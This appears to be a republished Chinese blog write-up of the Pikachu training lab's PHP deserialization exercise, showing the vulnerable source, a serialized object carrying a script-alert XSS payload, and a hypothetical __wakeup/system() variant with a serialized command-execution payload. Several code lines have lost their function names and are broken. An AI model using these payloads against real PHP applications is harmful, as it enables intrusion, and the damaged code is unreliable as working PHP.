Pikachu-php反序列化

Posted Erichas

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Pikachu-php反序列化相关的知识,希望对你有一定的参考价值。

之前有篇文章详细介绍了php反序列化的原理,这里就不再多说

做一下这个靶场练练手

 

 

0x01 源码审计

 

目前我的理解是挖掘反序列化就需要知道该接口的类、对象、参数这些的详情,

以及魔术方法的情况。

这里的调用比较简单,看看源码

<?php
/**
 * Created by runner.han
 * There is nothing new under the sun
 */


$SELF_PAGE = ($_SERVER[\'PHP_SELF\'],($_SERVER[\'PHP_SELF\'],\'/\')+1);

if ($SELF_PAGE = "unser.php"){
    $ACTIVE = array(\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'active open\',\'\',\'active\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\',\'\');
}

$PIKA_ROOT_DIR =  "../../";
include_once $PIKA_ROOT_DIR.\'header.php\';


class S{
    var $test = "pikachu";
    function __construct(){
        
        echo $this->test;
        
    }
}


$html=\'\';
if(isset($_POST[\'o\'])){
    $s = $_POST[\'o\'];
    if(!@$unser = ($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
        
    }

}
?>

 

链子调用分析

 

这里的是S类,里面只有1个$test变量,魔术方法是__construct,这个方法是用于

在创建对象时候初始化对象,一般用于对变量赋初值的。

然后再看判断,简单来说就是我们传入成功的反序列化字符串s,就会执行到else里面对其进行打印输出。

if(!@$unser = unserialize($s))  这个if语句我纠结了半天,没懂。

后来在大哥解释下   意思是把反序列化的结果1赋值给$unser,如果反序列化成功那么就是有值的也就会进入else,否则进入if下面语句 攻击失败!!

ps:at符号(@)在PHP中用作错误控制操作符。当表达式附加@符号时,将忽略该表达式可能生成的错误消息。

 

0x02 构造链子

那么我们只需要构造正确的序列化字符串就行了:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "<script>alert(1)</script>";
$f->test=$payload;
echo ($f);
?>

根据源码的S类创建一个对象$f,用该对象去调用类里面的$test,重写成我们的payload

然后序列化输出

 

 得到序列化结果 我们注入,成功弹窗

payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}

 

 

 

 

 

 

0x03 总结再思考

 

前面已经说过这里是通过else后的语句触发漏洞的,如果这里魔术方法是__wakeup,也就是在unserialize后自动调用的方法里面写到

function __wakeup(){
    
    ($this->test);
    }

这里只是想模拟一下能命令执行的反序列化场景

这样就能在我们执行到if判断中执行unserialize时候触发,就会回调__wakeup,执行里面的sysytem函数

那么我们构造的代码应该是:

<?php
class S{
    var $test = "pikachu";
}
$f = new S();
$payload = "ipconfig";
$f->test=$payload;
echo ($f);
?>

序列化后的结果:

O:1:"S":1:{s:4:"test";s:8:"ipconfig";}

此时修改过后的php靶场被注入就命令执行了:

 

 

 

学到了一点点,还是不能着急, 安全之路 少就是多,慢就是快~~

以上是关于Pikachu-php反序列化的主要内容,如果未能解决你的问题,请参考以下文章

Flink实战系列Flink 1.14.0 消费 kafka 数据自定义反序列化器

RestFramework

Android 逆向使用 Python 解析 ELF 文件 ( Capstone 反汇编 ELF 文件中的机器码数据 | 创建反汇编解析器实例对象 | 设置汇编解析器显示细节 )(代码片段

Django REST framework序列化

rest_framework

Django REST framework 基本组件